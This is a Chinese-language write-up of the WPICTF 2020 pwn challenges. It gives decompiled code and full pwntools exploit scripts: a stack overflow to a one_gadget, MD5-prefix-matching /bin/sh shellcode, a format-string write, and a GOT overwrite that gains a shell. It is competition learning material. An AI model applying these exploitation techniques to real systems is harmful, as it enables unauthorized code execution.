【WriteUp】WPICTF 2020 -- Pwn 题解

dorsia1

Description:

http://us-east-1.linodeobjects.com/wpictf-challenge-files/dorsia.webm The first card.

nc dorsia1.wpictf.xyz 31337 or 31338 or 31339

made by: awg

Hint: Same libc as dorsia4, but you shouldn't need the file to solve.

Solution:

给了个视频,出现了很多写有代码的纸片,其中第一张纸片的代码如下:

#include <stdio.h>
#include <stdlib.h>

void main(){
    char a[69] = {0};
    printf("%p\n", system + 765772);
    fgets(a, 96, stdin);
}

根据代码,推断是简单的栈溢出,无防护的那种,之后顺利提权

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from easyLibc import *
from pwn import *

context(arch="amd64", endian='el', os="linux")
context.log_level = "debug"
p = remote('dorsia1.wpictf.xyz', 31337)
libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]

addr_system = int(p.recv(14), 16) - 765772
# libc6_2.27-3ubuntu1_amd64.so
libc = easyLibc('system', addr_system, 1)
libcbase = addr_system - libc.dump('system')
addr_one_gadget = libcbase + libc_one_gadget[1]

pd = 'a' * 0x4d
pd += p64(addr_one_gadget)
p.sendline(pd)
p.interactive()

Flag:

WPI{FEED_ME_A_STRAY_CAT}

dont@me

Description:

CURRENTLY BROKEN. WORKING ON A FIX. WILL ANNOUNCE. Binary appears to be fine, but out tweet-fetcher is broken.

tweet @JohnSmi31885382

made by: rm -k

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX disabled
PIE:      PIE enabled
RWX:      Has RWX segments

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char *v4; // rax
  unsigned __int64 v5; // rax
  __int64 v6; // rsi
  __int64 v7; // [rsp+0h] [rbp-50h]
  __int64 v8; // [rsp+10h] [rbp-40h]
  char *s; // [rsp+18h] [rbp-38h]
  void *v10; // [rsp+20h] [rbp-30h]
  void *v11; // [rsp+28h] [rbp-28h]
  char v12; // [rsp+30h] [rbp-20h]
  unsigned __int64 v13; // [rsp+48h] [rbp-8h]

  v13 = __readfsqword(0x28u);
  printf("Poop.", argv, envp, argv);
  if ( argc <= 1 )
    return -1;
  v4 = grab_message(*(v7 + 8));
  s = v4;
  v8 = 0LL;
  v5 = strlen(v4);
  v10 = base64_decode(s, v5, &v8);
  if ( !v10 )
    return -1;
  v6 = v8;
  do_md5(v10, v8, &v12);
  if ( !validate_hash(&v12) )
    return -1;
  v11 = v10;
  (v10)(&v12, v6);
  return 0;
}

grab_message 函数如下:

char *__fastcall grab_message(char *a1)
{
  size_t v1; // rbx
  const char *v3; // [rsp+10h] [rbp-30h]
  char *v4; // [rsp+18h] [rbp-28h]
  char delim[2]; // [rsp+26h] [rbp-1Ah]
  unsigned __int64 v6; // [rsp+28h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  strcpy(delim, " ");
  v3 = strtok(a1, delim);
  v4 = 0LL;
  while ( v3 )
  {
    if ( !strchr(v3, '@') )
    {
      if ( !v4 || (v1 = strlen(v3), v1 > strlen(v4)) )
        v4 = v3;
    }
    v3 = strtok(0LL, delim);
  }
  return v4;
}

validate_hash 函数如下:

signed __int64 __fastcall validate_hash(const char *a1)
{
  unsigned int i; // [rsp+1Ch] [rbp-24h]
  char s2; // [rsp+20h] [rbp-20h]
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  for ( i = 0; i <= 0; ++i )
  {
    hash_shellcode(&s2, i);
    if ( !strncmp(a1, &s2, 0x10uLL) )
      return 1LL;
  }
  return 0LL;
}

hash_shellcode 函数如下:

unsigned __int64 __fastcall hash_shellcode(__int64 a1, int a2)
{
  size_t v2; // rax
  void *v3; // rsp
  __int64 v5; // [rsp+0h] [rbp-70h]
  int v6; // [rsp+4h] [rbp-6Ch]
  __int64 v7; // [rsp+8h] [rbp-68h]
  int i; // [rsp+18h] [rbp-58h]
  int v9; // [rsp+1Ch] [rbp-54h]
  char *v10; // [rsp+20h] [rbp-50h]
  __int64 v11; // [rsp+28h] [rbp-48h]
  __int64 *v12; // [rsp+30h] [rbp-40h]
  unsigned __int64 v13; // [rsp+38h] [rbp-38h]

  v7 = a1;
  v6 = a2;
  v13 = __readfsqword(0x28u);
  v2 = strlen((&valid_shellcodes)[a2]);
  v9 = v2 >> 1;
  v10 = (&valid_shellcodes)[v6];
  LODWORD(v2) = v2 >> 1;
  v11 = v2 - 1LL;
  v3 = alloca(16 * ((v2 + 15LL) / 0x10uLL));
  v12 = &v5;
  for ( i = 0; i < v9; ++i )
  {
    __isoc99_sscanf(v10, "%2hhx", v12 + i);
    v10 += 2;
  }
  do_md5(v12, v9, v7);
  return __readfsqword(0x28u) ^ v13;
}

查看 valid_shellcodes 的值

.data:0000000000004090 valid_shellcodes dq offset aB801000000bf01
.data:0000000000004090                                         ; DATA XREF: hash_shellcode+3A↑o
.data:0000000000004090                                         ; hash_shellcode+60↑o
.data:0000000000004090                                         ; "b801000000bf01000000488d3508000000ba0c0"...
.data:0000000000004098                 dq offset aB83c000000bf53 ; "b83c000000bf530000000f05c3"
.data:00000000000040A0                 dq offset aBf32000000b800 ; "bf32000000b800000000bb010000004801d8488"...

有三个 shellcode,最上面的是他默认使用的 shellcode,shellcode 的值如下:

.rodata:0000000000002008 aB801000000bf01 db 'b801000000bf01000000488d3508000000ba0c0000000f05c348656c316f20773'
.rodata:0000000000002008                                         ; DATA XREF: .data:valid_shellcodes↓o
.rodata:0000000000002008                 db '0724c642e00',0
.rodata:0000000000002055 aB83c000000bf53 db 'b83c000000bf530000000f05c3',0
.rodata:0000000000002055                                         ; DATA XREF: .data:0000000000004098↓o
.rodata:0000000000002070 aBf32000000b800 db 'bf32000000b800000000bb010000004801d84889c14889d84889cb48ffcf75efc'
.rodata:0000000000002070                                         ; DATA XREF: .data:00000000000040A0↓o
.rodata:0000000000002070                 db '3',0

经测试,程序默认使用的 shellcode 在进行 md5 加密后,得到的字符串为79fc008108a92bcd7edb7cb63ea714b3

可以看到第三位是 \x00,那么我们只要找到一个 shellcode 的 md5 值的前三位是79fc00即可

因为 strncmp 在这只会匹配到第三位

这里可以先构造好 shellcode,然后往后面添加字节进行爆破

写了个 dfs 来递归找答案,最后用的 base64 的值是SDH2SIPCFkiJ10gx0kjHwDsAAAAPBS9iaW4vc2gAM6k9

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import base64
import hashlib
import sys

sys.setrecursionlimit(10000000)
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'

pd = asm('''
xor rsi, rsi
add rdx, 0x16
mov rdi, rdx
xor rdx, rdx
mov rax, SYS_execve
syscall
''')
pd += '/bin/sh\x00'
sc = ''
flag = 0


def dfs(dfs_pd, dep, depth):
    global sc, flag
    if flag:
        return
    if dep >= depth:
        res = hashlib.md5(dfs_pd).hexdigest()
        if res[0:6] == '79fc00':
            sc = base64.b64encode(dfs_pd)
            success('base64 = ' + sc)
            success('md5 = ' + res)
            flag = 1
            return
        return
    for dfs_i in range(0, 0x100):
        dfs(dfs_pd + chr(dfs_i), dep + 1, depth)


for i in range(0, 5):
    if flag:
        break
    dfs(pd, 0, i + 1)
p = process(['./chall', sc])
p.interactive()

Flag:

动态靶机

dorsia3

Description:

http://us-east-1.linodeobjects.com/wpictf-challenge-files/dorsia.webm The third card.

nc dorsia3.wpictf.xyz 31337 or 31338 or 31339

made by: awg

Solution:

程序保护如下:

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

main 函数如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char a[69]; // [esp+1h] [ebp-5Dh]
  int *v5; // [esp+52h] [ebp-Ch]

  v5 = &argc;
  printf("%p%p\n", a, &system - 72);
  fgets(a, 69, stdin);
  return printf(a, "%s\n");
}

格式化字符串乱打

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch="i386", endian='el', os="linux")
# context.log_level = "debug"
if debug == 1:
    p = process('./nanoprint')
else:
    p = remote('dorsia3.wpictf.xyz', 31337)
libc = ELF('/lib/i386-linux-gnu/libc.so.6', checksec=False)
libc_one_gadget = [0x3d0d3, 0x3d0d5, 0x3d0d9, 0x3d0e0, 0x67a7f, 0x67a80, 0x137e5e, 0x137e5f]

addr_stack = int(p.recv(10), 16) + 0x71
addr_system = int(p.recv(10), 16) + 0x120
libcbase = addr_system - libc.sym['system']
addr_one_gadget = libcbase + libc_one_gadget[3]

success('addr_stack      = ' + hex(addr_stack))
success('addr_system     = ' + hex(addr_system))
success('addr_one_gadget = ' + hex(addr_one_gadget))
# gdb.attach(p, "b *$rebase(0x10C7)\nc")

pd = fmtstr_payload(7, {addr_stack: addr_one_gadget}, offset_bytes=-1)
p.sendlineafter('\n', pd)
p.recv()
p.interactive()

Flag:

WPI{Th3re_is_an_idea_of_4_Pa7rick_BatemaN}

dorsia4

Description:

http://us-east-1.linodeobjects.com/wpictf-challenge-files/dorsia.webm The fourth card.

nc dorsia4.wpictf.xyz 31337 or 31338 or 31339

made by: awg

Solution:

程序保护如下:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled

赛后看 wp 来复现,先贴源码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  __int64 b; // [rsp+0h] [rbp-50h]
  __int64 b_8; // [rsp+8h] [rbp-48h]
  __int64 b_16; // [rsp+10h] [rbp-40h]
  __int64 b_24; // [rsp+18h] [rbp-38h]
  __int64 b_32; // [rsp+20h] [rbp-30h]
  __int64 b_40; // [rsp+28h] [rbp-28h]
  __int64 b_48; // [rsp+30h] [rbp-20h]
  __int64 b_56; // [rsp+38h] [rbp-18h]
  __int64 b_64; // [rsp+40h] [rbp-10h]

  b = 0LL;
  b_8 = 0LL;
  b_16 = 0LL;
  b_24 = 0LL;
  b_32 = 0LL;
  b_40 = 0LL;
  b_48 = 0LL;
  b_56 = 0LL;
  LODWORD(b_64) = 0;
  BYTE4(b_64) = 0;
  while ( 1 )
  {
    printf("%p giv i b\n", (char *)&system + 0xBAF4C, envp, b, b_8, b_16, b_24, b_32, b_40, b_48, b_56, b_64);
    __isoc99_scanf("%i %x", &i, &d);
    result = i;
    if ( i > 0x45 )
      break;
    envp = (const char **)a;
    a[i] = d;
  }
  return result;
}

由此可知,该程序可以任意写一个比 char a[] 的地址小的可写地址

那么我们就可以考虑复写 got 表了,这个程序的 got 表如下所示:

0x5583dba80000 ← 0x3df0
0x5583dba80008 → 0x7f11abfa0170 → 0x5583dba7c000 ← 0x10102464c457f
0x5583dba80010 → 0x7f11abd8e750 (_dl_runtime_resolve_xsavec) ← push   rbx
0x5583dba80018 → 0x7f11ab9eae80 (printf) ← sub    rsp, 0xd8
0x5583dba80020 → 0x7f11aba01ec0 (__isoc99_scanf) ← push   rbx
0x5583dba80028 ← 0x0
0x5583dba80030 ← 0x5583dba80030 /* '0' */

因为要用 scanf 来进行输入那我我们只能选择复写 printf 的 got 表

但是随意复写又会直接使程序错误退出,这里就要找一个可利用点来进行多次单字节复写

这个题目给的 libc 是 Ubuntu 18.04 的,所以我直接先用 ROPgadget 工具 dump 出所有的 rop

然后找 printf 地址周围的 ret 地址,因为这样可以正常运行程序

已知 printf 的偏移是 0x64e80,那么我们可以运行如下命令:

root@leppwn:~/CTF/Pwn# strings rop.txt | grep 0064e | grep "ret"
0x0000000000064e62 : jne 0x64e75 ; add rsp, 0xd8 ; ret

经测试 ret 的地址为 0x64e6b,之后我们看 gdb 内显示的 regs 的情况

RAX  0x0
RBX  0x0
RCX  0x6b
RDX  0x560fe0862080 ← 0x6b /* 'k' */
RDI  0x560fe0860004 ← '%p giv i b\n'
RSI  0x7f6e9518e38c (exec_comm+2508) ← mov   rax, qword ptr [rip + 0x2e0b15]
R8   0x0
R9   0x0
R10  0x7f6e95222cc0 (_nl_C_LC_CTYPE_class+256) ← add    al, byte ptr [rax]
R11  0x560fe0860015 ← 0x343b031b01000000
R12  0x560fe085f050 ← endbr64 
R13  0x7ffe7f6c3580 ← 0x1
R14  0x0
R15  0x0
RBP  0x7ffe7f6c34a0 → 0x560fe085f210 ← endbr64 
RSP  0x7ffe7f6c3450 ← 0x0
RIP  0x560fe085f1b9 ← call   0x560fe085f030

此断点的位置为 brva 0x11B9,即原程序执行 printf 的地址

这里能看到 RDX 存放的是 a[] 数组的地址,那么我们可以考虑在之后改写 printf 的 got 表来call [rdx]

那么我们继续用刚刚生成的 rop 文本来寻找小范围内的相关 rop,要有 call 和 rdx

root@leppwn:~/CTF/Pwn# strings rop.txt | grep 006 | grep call | grep rdx
0x0000000000065767 : add rdx, r12 ; call qword ptr [r10 + rax*8]
0x000000000006576b : call qword ptr [rdx + rax*8]
0x0000000000065764 : lea ecx, [rbx + rdx] ; add rdx, r12 ; call qword ptr [r10 + rax*8]
0x0000000000065769 : loop 0x657b0 ; call qword ptr [rdx + rax*8]
0x0000000000065765 : or al, 0x13 ; add rdx, r12 ; call qword ptr [r10 + rax*8]

那么我们已经可以锁定 0x6576b 这个地址了,之前的 ret 地址是 0x64e6b,这说明我们只需要改一字节即可完成利用

所以这题的思路就是,先将 a[] 数组的值改为 addr_one_gadget,然后将 printf 的 got 表改为 ret 地址

之后再把 printf 的 got 表改为 0x6576b 对应的偏移地址即可

exp 如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

debug = 1
context(arch='amd64', endian='el', os='linux')
context.log_level = 'debug'
if debug == 1:
    p = process(['./chall'])
else:
    p = remote('', )
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
libc_one_gadget = [0x4f2c5, 0x4f322, 0x10a38c]

addr_system = int(p.recv(14), 16) - 0xBAF4C
libcbase = addr_system - libc.sym['system']
addr_one_gadget = libcbase + libc_one_gadget[1]

for i in range(0, 8):
    p.sendlineafter(' i b', str(i) + ' ' + hex(int(addr_one_gadget >> 8 * i & 0xff)))
p.sendlineafter(' i b', '-0x68 0x6b')
# gdb.attach(p, "b *$rebase(0x11FF)\nc")
p.sendline('-0x67 ' + hex(int(libcbase + 0x6576b >> 8 & 0xff)))
success('addr_one_gadget = ' + hex(addr_one_gadget))
p.interactive()

Flag:

动态靶机

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注